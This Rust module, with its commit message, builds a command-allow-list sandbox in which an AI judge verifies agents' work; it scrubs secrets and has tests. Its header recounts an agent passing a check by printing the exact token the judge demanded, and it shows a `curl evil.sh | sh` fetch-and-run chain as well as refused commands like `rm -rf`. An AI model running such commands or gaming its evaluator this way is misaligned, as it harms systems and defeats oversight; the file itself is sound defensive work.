Omar SobhandClaude Opus 5.5
4602e9b896
The live canary run (01a0cf3d) proved the push refusal — push refused, patch redacted, delivery.secret_blocked, no branch on the forge — and found the next leak: the judge QUOTED the canary verbatim in its verdict, which is stored, shown in the UI and written into the repo's project memory for later missions. - mission_events::record (the one insert path) scrubs every event's detail and target: tool output such as a printenv, prompts, verdict events - the verdict's reason, guidance, check outputs and plan are scrubbed before being stored or remembered - the evidence sent to the judge, and each check's output before the judge model reads it, are scrubbed — the judge is another company's model Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
969 lines
40 KiB
Rust
969 lines
40 KiB
Rust
//! The evaluator's verification sandbox.
|
|
//!
|
|
//! A judge that reads only the transcript judges what agents *claim*. On
|
|
//! 2026-08-01 a phase with an unsatisfiable condition was marked complete on
|
|
//! its second pass because the agent, handed the previous verdict as guidance,
|
|
//! simply printed the literal token the judge had said was missing. Nothing
|
|
//! about that reply was false — the token really was in the output — and the
|
|
//! judge had no way to ask whether any work had been done.
|
|
//!
|
|
//! So the judge gets to look for itself: an allow-listed command runner over
|
|
//! the mission's own checkout. `cargo test` cannot be talked into passing.
|
|
//!
|
|
//! ## Why this is not a shell
|
|
//!
|
|
//! Commands are argv vectors executed through the Docker API
|
|
//! ([`crate::container_exec`]) — there is no `sh -c` anywhere in this module.
|
|
//! That is a structural choice, not a stylistic one: with a shell, an
|
|
//! allow-list on the program name is decorative, because
|
|
//! `git status; curl evil.sh | sh` passes any prefix check ever written.
|
|
//! Without one, metacharacters are inert bytes in `argv[n]`.
|
|
//!
|
|
//! ## Attempting is not verifying
|
|
//!
|
|
//! [`Sandbox::run`] returns a [`CheckOutcome`] carrying whether the command
|
|
//! actually executed. The first version returned a bare string and the caller
|
|
//! recorded the *attempt*, which mattered more than it sounds: the sandbox was
|
|
//! shelling out to a `docker` binary the server image does not ship, so in
|
|
//! production every command failed to spawn while verdicts still reported ten
|
|
//! "checks". The verdicts were correct — fail-closed did its job — but the
|
|
//! claim attached to them was not.
|
|
//!
|
|
//! Three further limits, none of which are load-bearing on their own:
|
|
//!
|
|
//! - the program (and, for `git`, its subcommand) must be on the allow-list;
|
|
//! - no argument may be an absolute path or contain `..`, so reads stay inside
|
|
//! the checkout even though the runner has no shell to chain with;
|
|
//! - output is capped and the call is deadlined, because a judge that hangs on
|
|
//! a runaway test suite stalls the mission it is judging.
|
|
|
|
use std::path::{Path, PathBuf};
|
|
use std::time::Duration;
|
|
|
|
use uuid::Uuid;
|
|
|
|
/// Wall-clock ceiling for one verification command. Generous enough for a test
|
|
/// suite, short enough that a hung command fails the pass rather than the
|
|
/// mission.
|
|
const COMMAND_TIMEOUT: Duration = Duration::from_secs(180);
|
|
|
|
/// Cap on what one command may return to the model. Test suites are chatty and
|
|
/// the judge pays for every byte; the tail is where failures live, so when
|
|
/// output overflows we keep both ends and drop the middle.
|
|
///
|
|
/// 64 KB, up from 12 KB on 2026-09-18. The smaller cap was sized for test
|
|
/// output and applied to deliverables: a research REPORT.md of ~18 KB came
|
|
/// back truncated from `cat`, and the judge — correctly — reassembled it with
|
|
/// `head -119`, `tail -120`, `sed -n 80,200p` and three greps, five extra
|
|
/// rounds each resending the whole conversation. 7 of 9 verdicts ran to the
|
|
/// 12-check cap that way. Since `compact_earlier_results` shrinks a result to
|
|
/// 800 bytes once its round is over, one 64 KB read costs one round; the
|
|
/// slicing it replaces cost five.
|
|
const MAX_OUTPUT_BYTES: usize = 64_000;
|
|
|
|
/// Programs the judge may run. Every one either reports state or runs a
|
|
/// project's own checks — none of them edit the tree.
|
|
///
|
|
/// `git` is special-cased below: the program alone is not enough, since
|
|
/// `git checkout`/`git reset` would let a judge mutate the work it is judging.
|
|
const ALLOWED_PROGRAMS: &[&str] = &[
|
|
// Inspect the tree.
|
|
"ls", "cat", "head", "tail", "wc", "find", "file", "stat", "du", "rg", "grep", "diff",
|
|
// Run the project's own checks.
|
|
"cargo", "npm", "pnpm", "yarn", "node", "python", "python3", "pytest", "make", "just", "go",
|
|
"pnpx", "npx", "bun", "dotnet", "mvn", "gradle", "ruff", "mypy", "eslint", "tsc", "jest",
|
|
"vitest", "phpunit", "rspec", "bundle", "poetry", "uv", "tox",
|
|
// Security scanners. These ship in the runtime image specifically so a
|
|
// `done_when` can be written about them ("gitleaks reports no secrets"),
|
|
// and a judge that cannot invoke them has to fall back to asking the
|
|
// agents — which is the failure this module exists to prevent. Installing
|
|
// them without allow-listing them left exactly that gap.
|
|
"gitleaks", "trivy", "semgrep",
|
|
// Locate a tool before running it. Cheap, read-only, and it saves the
|
|
// judge from concluding a tool is missing when the real answer is that it
|
|
// guessed the wrong name.
|
|
"which", // Version control, narrowed by subcommand.
|
|
"git",
|
|
];
|
|
|
|
/// `git` subcommands that only read. `checkout`, `reset`, `clean`, `commit`,
|
|
/// `push` and friends are absent deliberately — the judge must not be able to
|
|
/// alter, discard, or publish the work it is evaluating.
|
|
const ALLOWED_GIT_SUBCOMMANDS: &[&str] = &[
|
|
"status",
|
|
"diff",
|
|
"log",
|
|
"show",
|
|
"ls-files",
|
|
"blame",
|
|
"shortlog",
|
|
"describe",
|
|
"rev-parse",
|
|
"rev-list",
|
|
"cat-file",
|
|
"grep",
|
|
"config",
|
|
];
|
|
|
|
/// Why a command was refused. Returned to the model as a tool result so it can
|
|
/// adapt, and logged so an operator can see a judge probing the boundary.
|
|
#[derive(Debug, Clone, PartialEq, Eq)]
|
|
pub enum Refusal {
|
|
Empty,
|
|
Program(String),
|
|
GitSubcommand(String),
|
|
AbsolutePath(String),
|
|
ParentEscape(String),
|
|
}
|
|
|
|
impl std::fmt::Display for Refusal {
|
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
|
match self {
|
|
Refusal::Empty => write!(f, "no command given"),
|
|
Refusal::Program(p) => write!(
|
|
f,
|
|
"`{p}` is not an allowed verification command. Allowed: inspection \
|
|
(ls, cat, rg, grep, find, wc, diff), read-only git, and project \
|
|
test runners (cargo, npm, pytest, make, …)."
|
|
),
|
|
Refusal::GitSubcommand(s) => write!(
|
|
f,
|
|
"`git {s}` can modify the repository. Only read-only git is available \
|
|
(status, diff, log, show, ls-files, blame, rev-parse, …)."
|
|
),
|
|
Refusal::AbsolutePath(a) => write!(
|
|
f,
|
|
"`{a}` is an absolute path. Verification is scoped to the mission \
|
|
checkout; use paths relative to the repository root."
|
|
),
|
|
Refusal::ParentEscape(a) => write!(
|
|
f,
|
|
"`{a}` climbs above the repository root. Verification is scoped to \
|
|
the mission checkout."
|
|
),
|
|
}
|
|
}
|
|
}
|
|
|
|
/// Validate one argv against the allow-list. Pure, so the policy is testable
|
|
/// without Docker, a checkout, or a model.
|
|
pub fn check_argv(argv: &[String]) -> Result<(), Refusal> {
|
|
let Some(program) = argv.first() else {
|
|
return Err(Refusal::Empty);
|
|
};
|
|
// Reject a qualified path to a binary (`/usr/bin/env`, `./script.sh`)
|
|
// rather than trying to resolve it — the allow-list names programs.
|
|
if program.contains('/') || !ALLOWED_PROGRAMS.contains(&program.as_str()) {
|
|
return Err(Refusal::Program(program.clone()));
|
|
}
|
|
if program == "git" {
|
|
// The first non-flag argument is the subcommand.
|
|
let sub = argv[1..].iter().find(|a| !a.starts_with('-'));
|
|
match sub {
|
|
None => return Err(Refusal::GitSubcommand("<none>".into())),
|
|
Some(s) if !ALLOWED_GIT_SUBCOMMANDS.contains(&s.as_str()) => {
|
|
return Err(Refusal::GitSubcommand(s.clone()));
|
|
}
|
|
Some(_) => {}
|
|
}
|
|
}
|
|
for arg in &argv[1..] {
|
|
// A leading `-` is a flag, not a path; `--foo=/abs` is checked too.
|
|
let candidate = arg.split_once('=').map(|(_, v)| v).unwrap_or(arg);
|
|
if candidate.starts_with('/') {
|
|
return Err(Refusal::AbsolutePath(arg.clone()));
|
|
}
|
|
if candidate.split(['/', '\\']).any(|seg| seg == "..") {
|
|
return Err(Refusal::ParentEscape(arg.clone()));
|
|
}
|
|
}
|
|
Ok(())
|
|
}
|
|
|
|
/// Keep a command's output within [`MAX_OUTPUT_BYTES`], preserving the head
|
|
/// and the tail. A truncated middle is stated rather than silently elided, so
|
|
/// the judge knows it is looking at a partial view.
|
|
pub fn clamp_output(s: &str) -> String {
|
|
if s.len() <= MAX_OUTPUT_BYTES {
|
|
return s.to_string();
|
|
}
|
|
let keep = MAX_OUTPUT_BYTES / 2;
|
|
// Slice on char boundaries so multi-byte output can't panic.
|
|
let head_end = (0..=keep)
|
|
.rev()
|
|
.find(|i| s.is_char_boundary(*i))
|
|
.unwrap_or(0);
|
|
let tail_start = (s.len().saturating_sub(keep)..s.len())
|
|
.find(|i| s.is_char_boundary(*i))
|
|
.unwrap_or(s.len());
|
|
let dropped = tail_start.saturating_sub(head_end);
|
|
format!(
|
|
"{}\n\n… [{dropped} bytes of output omitted] …\n\n{}",
|
|
&s[..head_end],
|
|
&s[tail_start..]
|
|
)
|
|
}
|
|
|
|
/// Where a verification copy lives: a sibling of the per-mission directories,
|
|
/// so the sweeper that deletes `<root>/<mission_id>` never races it and nothing
|
|
/// under it is ever collected or delivered.
|
|
fn verify_path(mission_id: Uuid) -> PathBuf {
|
|
crate::mission_workspace::missions_root()
|
|
.join("_verify")
|
|
.join(mission_id.to_string())
|
|
}
|
|
|
|
/// A checkout the judge may run verification commands against.
|
|
///
|
|
/// A COPY of the mission's checkout, never the checkout itself. The judge runs
|
|
/// real commands — `cargo test` is the whole point — and the container it execs
|
|
/// into runs as ROOT with the missions root bind-mounted, so running them in the
|
|
/// live tree left `repo/target/` owned by uid 0 in a checkout otherwise owned by
|
|
/// the server. That breaks the single-writer invariant copy mode exists to
|
|
/// guarantee, and the next phase's `cargo` would hit permission-denied on a
|
|
/// directory it cannot write.
|
|
///
|
|
/// It stayed invisible all day because a dead validator credential meant the
|
|
/// judge never ran a single check; restoring the credential surfaced it on the
|
|
/// first gated mission, via the harness's uid probe.
|
|
///
|
|
/// The deeper rule is the one this codebase already applies to the `verifier`
|
|
/// subagent, which has no Edit and no Write: **verification must not mutate what
|
|
/// it verifies.** A judge that can change the tree it is judging can make its own
|
|
/// verdict true.
|
|
#[derive(Debug)]
|
|
pub struct Sandbox {
|
|
container: String,
|
|
workdir: PathBuf,
|
|
/// Whether this sandbox created `workdir` and must remove it.
|
|
owned: bool,
|
|
}
|
|
|
|
impl Sandbox {
|
|
/// Build a sandbox for `mission_id`, or `None` when the mission has no
|
|
/// checkout on disk (a research-only phase, typically).
|
|
///
|
|
/// Returning `None` rather than an empty sandbox matters: the evaluator
|
|
/// prompt changes shape depending on whether verification is possible, and
|
|
/// a judge must never be told it can check something it cannot. A copy that
|
|
/// fails to materialise is also `None` for the same reason — an unverifiable
|
|
/// phase must not be told it can verify.
|
|
pub fn for_mission(mission_id: Uuid) -> Option<Sandbox> {
|
|
Sandbox::for_checkout(
|
|
&crate::mission_workspace::checkout_path(mission_id),
|
|
&verify_path(mission_id),
|
|
)
|
|
}
|
|
|
|
/// The testable half of [`Sandbox::for_mission`]. The paths are parameters
|
|
/// because `missions_root()` reads process environment, and this workspace
|
|
/// does not mutate that in tests — the same split as
|
|
/// `mission_runtime::provider_env_from` and
|
|
/// `mission_workspace::auth_with_token`.
|
|
pub fn for_checkout(source: &Path, root: &Path) -> Option<Sandbox> {
|
|
if !source.is_dir() {
|
|
return None;
|
|
}
|
|
// `root_copy` owns this pattern for all four callers — the judge, the
|
|
// benchmark runner, the on_green_tests gate, and this. It packs through
|
|
// the transport packer (one exclusion list, so a copy carries exactly
|
|
// what a delivered diff carries) and its `purge` is the only thing that
|
|
// can remove the root-owned `target/` a run leaves behind.
|
|
//
|
|
// A stale copy would otherwise be verified instead of this pass's work —
|
|
// the "judged a tree nobody wrote" shape the evaluator exists to prevent
|
|
// — so the caller purges before constructing.
|
|
// `into_workdir` because the judge has not run yet: letting the handle's
|
|
// Drop fire on return would delete the tree out from under it. `Sandbox`
|
|
// owns the lifetime from here, and `Sandbox::purge` clears it.
|
|
let workdir = crate::root_copy::RootCopy::of(source, root)
|
|
.ok()?
|
|
.into_workdir();
|
|
let container = std::env::var("CLAWMATES_RUNTIME_CONTAINER")
|
|
.unwrap_or_else(|_| "clawmates-runtime".to_string());
|
|
Some(Sandbox {
|
|
container,
|
|
workdir,
|
|
owned: true,
|
|
})
|
|
}
|
|
|
|
/// Construct against an explicit path. Test seam.
|
|
///
|
|
/// Never `owned`: a caller-supplied directory is the caller's, and deleting
|
|
/// it on drop would make this seam destructive in a way its users could not
|
|
/// see.
|
|
pub fn at(container: impl Into<String>, workdir: impl AsRef<Path>) -> Sandbox {
|
|
Sandbox {
|
|
container: container.into(),
|
|
workdir: workdir.as_ref().to_path_buf(),
|
|
owned: false,
|
|
}
|
|
}
|
|
|
|
pub fn workdir(&self) -> &Path {
|
|
&self.workdir
|
|
}
|
|
|
|
/// Run one verification command.
|
|
///
|
|
/// Refusals, non-zero exits, and transport failures all come back as a
|
|
/// `CheckOutcome` rather than an error: they are *evidence*, and the judge
|
|
/// should see "3 tests failed" or "that command is not allowed" and reason
|
|
/// about it rather than have the pass collapse.
|
|
///
|
|
/// The `ran` flag is the part that must not be inferred from the presence
|
|
/// of an outcome. A command the allow-list refused, and a command that
|
|
/// never reached the daemon, both produce evidence text — but neither
|
|
/// verified anything, and a verdict that rests on them is resting on the
|
|
/// agents' claims.
|
|
pub async fn run(&self, argv: &[String]) -> CheckOutcome {
|
|
if let Err(refusal) = check_argv(argv) {
|
|
eprintln!(
|
|
"evaluator_tools: refused {:?} in {} — {refusal}",
|
|
argv,
|
|
self.workdir.display()
|
|
);
|
|
return CheckOutcome::refused(argv, format!("REFUSED: {refusal}"));
|
|
}
|
|
|
|
let docker = match crate::container_exec::connect() {
|
|
Ok(d) => d,
|
|
Err(e) => return CheckOutcome::could_not_run(argv, format!("COULD NOT RUN: {e}")),
|
|
};
|
|
let workdir = self.workdir.display().to_string();
|
|
let out = crate::container_exec::exec_with_env(
|
|
&docker,
|
|
&self.container,
|
|
Some(&workdir),
|
|
argv,
|
|
&git_ownership_env(&workdir),
|
|
COMMAND_TIMEOUT,
|
|
)
|
|
.await;
|
|
|
|
match out {
|
|
Err(e) => CheckOutcome::could_not_run(argv, format!("COULD NOT RUN: {e}")),
|
|
Ok(out) => {
|
|
let mut body = String::new();
|
|
// The exit status is stated first because it is the part a
|
|
// judge most often needs and most often infers wrongly from
|
|
// prose output.
|
|
match out.exit_code {
|
|
Some(code) => body.push_str(&format!("exit status: {code}\n")),
|
|
None => body.push_str("exit status: unknown (still running?)\n"),
|
|
}
|
|
if !out.stdout.trim().is_empty() {
|
|
body.push_str("--- stdout ---\n");
|
|
body.push_str(&out.stdout);
|
|
}
|
|
if !out.stderr.trim().is_empty() {
|
|
body.push_str("\n--- stderr ---\n");
|
|
body.push_str(&out.stderr);
|
|
}
|
|
CheckOutcome {
|
|
argv: argv.to_vec(),
|
|
ran: true,
|
|
refused: false,
|
|
exit_code: out.exit_code,
|
|
// Scrubbed BEFORE the judge sees it: the judge is another
|
|
// company's model, and `cat` on an agent's file would
|
|
// otherwise send a leaked credential to it.
|
|
evidence: crate::delivery_secrets::scrub(&clamp_output(&body)).into_owned(),
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
/// Let git read a checkout it does not own — including from inside another
|
|
/// tool.
|
|
///
|
|
/// The server clones the mission repo as uid 65532; the runtime container the
|
|
/// judge execs into runs as root. Git's ownership check then refuses the
|
|
/// repository:
|
|
///
|
|
/// ```text
|
|
/// fatal: detected dubious ownership in repository at '/var/lib/clawmates-missions/<id>/repo'
|
|
/// ```
|
|
///
|
|
/// The first fix rewrote `git` argv to carry `-c safe.directory=…`, which
|
|
/// worked for `git status` and did nothing for `gitleaks`, which runs git
|
|
/// itself. Observed on mission 019fc073: git reported a clean tree while
|
|
/// gitleaks "scanned 0 commits" and the judge — correctly — refused to call
|
|
/// the condition met.
|
|
///
|
|
/// `GIT_CONFIG_COUNT`/`_KEY_n`/`_VALUE_n` is git's documented environment form
|
|
/// of `-c`, and it is inherited, so one setting covers git, gitleaks, trivy,
|
|
/// semgrep and anything else that shells out. Scoped to this checkout; never
|
|
/// `--global`, which would disable the protection container-wide for every
|
|
/// path.
|
|
fn git_ownership_env(workdir: &str) -> Vec<String> {
|
|
vec![
|
|
"GIT_CONFIG_COUNT=1".to_string(),
|
|
"GIT_CONFIG_KEY_0=safe.directory".to_string(),
|
|
format!("GIT_CONFIG_VALUE_0={workdir}"),
|
|
]
|
|
}
|
|
|
|
/// Where a mission agent's npm cache lands on the host.
|
|
///
|
|
/// The mission container's `HOME` is `/zeroclaw-data`, bind-mounted from
|
|
/// `<mission>/runtime-data`, so an agent's `npm install` has already filled
|
|
/// `<mission>/runtime-data/.npm` on the host — in a path the judge's container
|
|
/// can see. No copy out of the mission container is needed.
|
|
pub fn mission_npm_cache(mission_id: Uuid) -> PathBuf {
|
|
crate::mission_workspace::missions_root()
|
|
.join(mission_id.to_string())
|
|
.join("runtime-data")
|
|
.join(".npm")
|
|
}
|
|
|
|
/// How long an offline install may take. Longer than a check: a cold `npm ci`
|
|
/// of a Vite app unpacks a few hundred packages.
|
|
const INSTALL_TIMEOUT: Duration = Duration::from_secs(300);
|
|
|
|
/// The script that gives the judge a `node_modules` it built itself.
|
|
///
|
|
/// The verify copy excludes `node_modules` on purpose (the transport packer's
|
|
/// list: the judge must not run agent-built binaries), and the judge's
|
|
/// container has no route to a registry (`clawmates_core` has no gateway), so
|
|
/// `npm test` in a copy used to fail with `vitest: not found` however good the
|
|
/// work was. Measured on the frontend team's first run: correct component,
|
|
/// 10/10 tests when re-run by hand, failed twice by a judge that could not
|
|
/// install.
|
|
///
|
|
/// Not piped into `tail`: a pipe exits with its LAST command's status, so
|
|
/// `npm ci | tail` reports success over a failed install. The log is written,
|
|
/// its tail printed, and npm's own status returned.
|
|
///
|
|
/// `npm ci --offline` rebuilds `node_modules` from the lockfile using only the
|
|
/// cache, and checks every tarball against the lockfile's integrity hash. The
|
|
/// cache is COPIED into the verify root first: `npm ci` writes to its cache,
|
|
/// the judge runs as root, and pointing it at the mission's own cache would
|
|
/// leave root-owned files in a tree uid 65532 owns — the single-writer breach
|
|
/// the verify copy exists to prevent. The copy goes with the verify root when
|
|
/// the sandbox is purged.
|
|
pub fn npm_offline_script(cache: &Path, verify_root: &Path) -> String {
|
|
let local = verify_root.join("npm-cache");
|
|
format!(
|
|
"cp -a {cache} {local} || exit 3\n\
|
|
npm ci --offline --no-audit --no-fund --cache {local} > {log} 2>&1\n\
|
|
rc=$?\n\
|
|
tail -25 {log}\n\
|
|
exit $rc\n",
|
|
cache = crate::vm_tool_tap::shell_quote(&cache.display().to_string()),
|
|
local = crate::vm_tool_tap::shell_quote(&local.display().to_string()),
|
|
log = crate::vm_tool_tap::shell_quote(&verify_root.join("npm-ci.log").display().to_string()),
|
|
)
|
|
}
|
|
|
|
impl Sandbox {
|
|
/// Install a JavaScript project's dependencies for the judge, offline,
|
|
/// when the copy has a `package-lock.json`. Returns a note for the judge's
|
|
/// evidence, or `None` when there is nothing to install.
|
|
///
|
|
/// Server-driven, not a judge tool call: `npm ci` is not on the judge's
|
|
/// allow-list and should not be — installing is the harness's job, and the
|
|
/// judge only needs to know whether it worked, so that "could not install"
|
|
/// never reads as "the tests fail".
|
|
pub async fn prepare_dependencies(&self, mission_id: Uuid) -> Option<String> {
|
|
if !self.workdir.join("package-lock.json").is_file() {
|
|
return None;
|
|
}
|
|
let cache = mission_npm_cache(mission_id);
|
|
if !cache.join("_cacache").is_dir() {
|
|
return Some(format!(
|
|
"DEPENDENCIES: not installed. This is an npm project, but the mission \
|
|
left no npm cache at {} to install from offline. A test command that \
|
|
cannot find its runner is a missing install, not a failing suite.",
|
|
cache.display()
|
|
));
|
|
}
|
|
let root = self.workdir.parent()?.to_path_buf();
|
|
let docker = crate::container_exec::connect().ok()?;
|
|
let argv = vec![
|
|
"sh".to_string(),
|
|
"-lc".to_string(),
|
|
npm_offline_script(&cache, &root),
|
|
];
|
|
let workdir = self.workdir.display().to_string();
|
|
let out = crate::container_exec::exec_with_env(
|
|
&docker,
|
|
&self.container,
|
|
Some(&workdir),
|
|
&argv,
|
|
&git_ownership_env(&workdir),
|
|
INSTALL_TIMEOUT,
|
|
)
|
|
.await;
|
|
let note = match out {
|
|
Ok(o) if o.exit_code == Some(0) && self.workdir.join("node_modules/.bin").is_dir() => {
|
|
"DEPENDENCIES: installed by the harness with `npm ci --offline` from \
|
|
package-lock.json, every package checked against the lockfile's \
|
|
integrity hashes. node_modules is present; run the project's test \
|
|
command directly."
|
|
.to_string()
|
|
}
|
|
Ok(o) => format!(
|
|
"DEPENDENCIES: offline install FAILED (exit {:?}). A test command that \
|
|
cannot find its runner is a missing install, not a failing suite.\n{}",
|
|
o.exit_code,
|
|
clamp_output(&format!("{}{}", o.stdout, o.stderr)),
|
|
),
|
|
Err(e) => format!("DEPENDENCIES: offline install could not run: {e}"),
|
|
};
|
|
eprintln!("evaluator_tools: mission {mission_id} — {}", note.lines().next().unwrap_or(""));
|
|
Some(note)
|
|
}
|
|
|
|
/// Remove the copy, from inside the container that wrote it.
|
|
///
|
|
/// `Drop` cannot do this. The judge runs `cargo test` in a container as
|
|
/// ROOT, so the copy's `target/` is root-owned, and the server process is
|
|
/// uid 65532 — its `remove_dir_all` fails on those files and leaves the
|
|
/// whole tree behind. Measured: 16 MB across two stranded copies, the oldest
|
|
/// hours old, while `Drop` logged nothing anyone read.
|
|
///
|
|
/// The claim that "the next pass clears anyway" was wrong for the same
|
|
/// reason: `for_checkout` removes a stale root before copying, with the same
|
|
/// uid, and fails the same way.
|
|
///
|
|
/// Still best-effort — a housekeeping error must not cost a real verdict —
|
|
/// but now attempted by something that can actually succeed.
|
|
pub async fn purge(&self) {
|
|
if !self.owned {
|
|
return;
|
|
}
|
|
let Some(root) = self.workdir.parent() else {
|
|
return;
|
|
};
|
|
// The same purge as the other three copy sites, not a fourth copy of
|
|
// it: an inlined duplicate is how the reap paths drifted apart before.
|
|
crate::root_copy::purge(&self.container, root).await;
|
|
}
|
|
}
|
|
|
|
impl Drop for Sandbox {
|
|
/// Fallback only — see [`Sandbox::purge`], which is what actually clears a
|
|
/// copy the judge has run commands in. This still catches the early paths
|
|
/// where nothing has run as root yet.
|
|
fn drop(&mut self) {
|
|
if !self.owned {
|
|
return;
|
|
}
|
|
if let Some(root) = self.workdir.parent() {
|
|
match std::fs::remove_dir_all(root) {
|
|
Ok(()) => {}
|
|
// Already gone, because `purge` ran first and worked. That is
|
|
// the SUCCESS path, and reporting it as a failure is how a
|
|
// real cleanup error gets read as noise — the exact habit that
|
|
// let two root-owned copies sit stranded for hours.
|
|
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {}
|
|
Err(e) => eprintln!(
|
|
"evaluator_tools: could not remove the verification copy at {} ({e})",
|
|
root.display()
|
|
),
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
/// One verification command and what became of it.
|
|
///
|
|
/// This exists because the first version recorded *attempted* commands. The
|
|
/// evaluator pushed each argv into its `checks` list before running it, so a
|
|
/// verdict reached with a broken sandbox reported "verified by 10 checks"
|
|
/// while zero had executed — a stronger claim than "no checks at all", made on
|
|
/// weaker evidence. Whether a command ran is now carried, not inferred.
|
|
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
|
|
pub struct CheckOutcome {
|
|
pub argv: Vec<String>,
|
|
/// The command executed in the container and returned a status.
|
|
pub ran: bool,
|
|
/// The allow-list rejected it before execution.
|
|
pub refused: bool,
|
|
pub exit_code: Option<i64>,
|
|
/// What the judge was shown.
|
|
pub evidence: String,
|
|
}
|
|
|
|
impl CheckOutcome {
|
|
fn refused(argv: &[String], evidence: String) -> CheckOutcome {
|
|
CheckOutcome {
|
|
argv: argv.to_vec(),
|
|
ran: false,
|
|
refused: true,
|
|
exit_code: None,
|
|
evidence,
|
|
}
|
|
}
|
|
|
|
fn could_not_run(argv: &[String], evidence: String) -> CheckOutcome {
|
|
CheckOutcome {
|
|
argv: argv.to_vec(),
|
|
ran: false,
|
|
refused: false,
|
|
exit_code: None,
|
|
evidence,
|
|
}
|
|
}
|
|
|
|
/// Rendered for the operator: `cargo test → exit 0`.
|
|
pub fn summary(&self) -> String {
|
|
let cmd = self.argv.join(" ");
|
|
if self.refused {
|
|
return format!("{cmd} → refused");
|
|
}
|
|
match (self.ran, self.exit_code) {
|
|
(true, Some(code)) => format!("{cmd} → exit {code}"),
|
|
(true, None) => format!("{cmd} → status unknown"),
|
|
(false, _) => format!("{cmd} → could not run"),
|
|
}
|
|
}
|
|
}
|
|
|
|
#[cfg(test)]
|
|
mod tests {
|
|
use super::*;
|
|
|
|
fn argv(parts: &[&str]) -> Vec<String> {
|
|
parts.iter().map(|s| s.to_string()).collect()
|
|
}
|
|
|
|
#[test]
|
|
fn allows_inspection_and_test_runners() {
|
|
for cmd in [
|
|
vec!["cargo", "test"],
|
|
vec!["cargo", "test", "--", "--nocapture"],
|
|
vec!["npm", "test"],
|
|
vec!["pytest", "-q"],
|
|
vec!["rg", "TODO", "src"],
|
|
vec!["cat", "README.md"],
|
|
vec!["ls", "-la"],
|
|
] {
|
|
assert!(check_argv(&argv(&cmd)).is_ok(), "{cmd:?} should be allowed");
|
|
}
|
|
}
|
|
|
|
/// The scanners exist in the runtime image so conditions can be written
|
|
/// about them. Shipping the binaries without allow-listing them left the
|
|
/// judge unable to run the very tools installed for it — observed on
|
|
/// mission 019fc058, where `gitleaks detect` came back `ran=false` and the
|
|
/// judge had to say it could not verify.
|
|
#[test]
|
|
fn security_scanners_are_runnable() {
|
|
for cmd in [
|
|
vec!["gitleaks", "detect", "--no-git"],
|
|
vec!["trivy", "fs", "."],
|
|
vec!["semgrep", "--config=auto"],
|
|
vec!["cargo", "audit"],
|
|
vec!["which", "gitleaks"],
|
|
] {
|
|
assert!(
|
|
check_argv(&argv(&cmd)).is_ok(),
|
|
"{cmd:?} must be runnable — it is installed in the runtime image"
|
|
);
|
|
}
|
|
}
|
|
|
|
/// THE regression. The judge runs real commands in a container that runs as
|
|
/// ROOT with the missions root bind-mounted, so verifying the live checkout
|
|
/// left `repo/target/` owned by uid 0 in a tree owned by the server — the
|
|
/// single-writer invariant broken by the thing that was supposed to be
|
|
/// checking the work. Verifying a COPY makes it unrepresentable.
|
|
#[test]
|
|
fn the_judge_verifies_a_copy_and_never_the_mission_tree() {
|
|
let tmp = tempfile::tempdir().unwrap();
|
|
let root = tmp.path().join("missions-root");
|
|
let mission = Uuid::now_v7();
|
|
let checkout = root.join(mission.to_string()).join("repo");
|
|
std::fs::create_dir_all(checkout.join("src")).unwrap();
|
|
std::fs::write(checkout.join("Cargo.toml"), "[package]\nname='x'\n").unwrap();
|
|
std::fs::write(checkout.join("src/lib.rs"), "pub fn a() {}").unwrap();
|
|
// Build output the transport already excludes; the copy must not carry
|
|
// it either, or the judge measures a stale artifact.
|
|
std::fs::create_dir_all(checkout.join("target/debug")).unwrap();
|
|
std::fs::write(checkout.join("target/debug/junk"), "x").unwrap();
|
|
|
|
let sandbox = Sandbox::for_checkout(&checkout, &root.join("_verify").join(mission.to_string()))
|
|
.expect("a checkout on disk yields a sandbox");
|
|
|
|
assert_ne!(
|
|
sandbox.workdir(),
|
|
checkout,
|
|
"the judge must not be pointed at the mission's own checkout"
|
|
);
|
|
assert!(sandbox.workdir().join("src/lib.rs").is_file(), "the copy has the source");
|
|
assert!(
|
|
!sandbox.workdir().join("target").exists(),
|
|
"the copy must not carry build output: {}",
|
|
sandbox.workdir().display()
|
|
);
|
|
|
|
// And dropping it takes the copy with it, leaving the mission untouched.
|
|
let copy_root = sandbox.workdir().parent().unwrap().to_path_buf();
|
|
drop(sandbox);
|
|
assert!(!copy_root.exists(), "the copy outlived its sandbox");
|
|
assert!(checkout.join("src/lib.rs").is_file(), "the mission tree is intact");
|
|
assert!(checkout.join("target/debug/junk").is_file());
|
|
}
|
|
|
|
/// The test seam must not delete a directory it was handed. A destructive
|
|
/// constructor that looks like a plain one is how a test wipes a real tree.
|
|
#[test]
|
|
fn an_explicit_workdir_is_never_deleted() {
|
|
let tmp = tempfile::tempdir().unwrap();
|
|
std::fs::write(tmp.path().join("keep.txt"), "x").unwrap();
|
|
drop(Sandbox::at("c", tmp.path()));
|
|
assert!(tmp.path().join("keep.txt").is_file());
|
|
}
|
|
|
|
#[test]
|
|
fn refuses_programs_off_the_list() {
|
|
assert_eq!(
|
|
check_argv(&argv(&["curl", "https://example.com"])),
|
|
Err(Refusal::Program("curl".into()))
|
|
);
|
|
assert_eq!(
|
|
check_argv(&argv(&["rm", "-rf", "src"])),
|
|
Err(Refusal::Program("rm".into()))
|
|
);
|
|
assert_eq!(check_argv(&[]), Err(Refusal::Empty));
|
|
}
|
|
|
|
/// The allow-list names programs, so a path that merely *ends* in an
|
|
/// allowed name must not slip through.
|
|
#[test]
|
|
fn refuses_a_qualified_path_to_a_binary() {
|
|
assert_eq!(
|
|
check_argv(&argv(&["/usr/bin/cargo", "test"])),
|
|
Err(Refusal::Program("/usr/bin/cargo".into()))
|
|
);
|
|
assert_eq!(
|
|
check_argv(&argv(&["./cargo"])),
|
|
Err(Refusal::Program("./cargo".into()))
|
|
);
|
|
}
|
|
|
|
/// A judge must not be able to change or discard the work it is judging.
|
|
#[test]
|
|
fn refuses_git_subcommands_that_mutate() {
|
|
for sub in ["checkout", "reset", "clean", "commit", "push", "stash"] {
|
|
assert_eq!(
|
|
check_argv(&argv(&["git", sub])),
|
|
Err(Refusal::GitSubcommand(sub.into())),
|
|
"git {sub} must be refused"
|
|
);
|
|
}
|
|
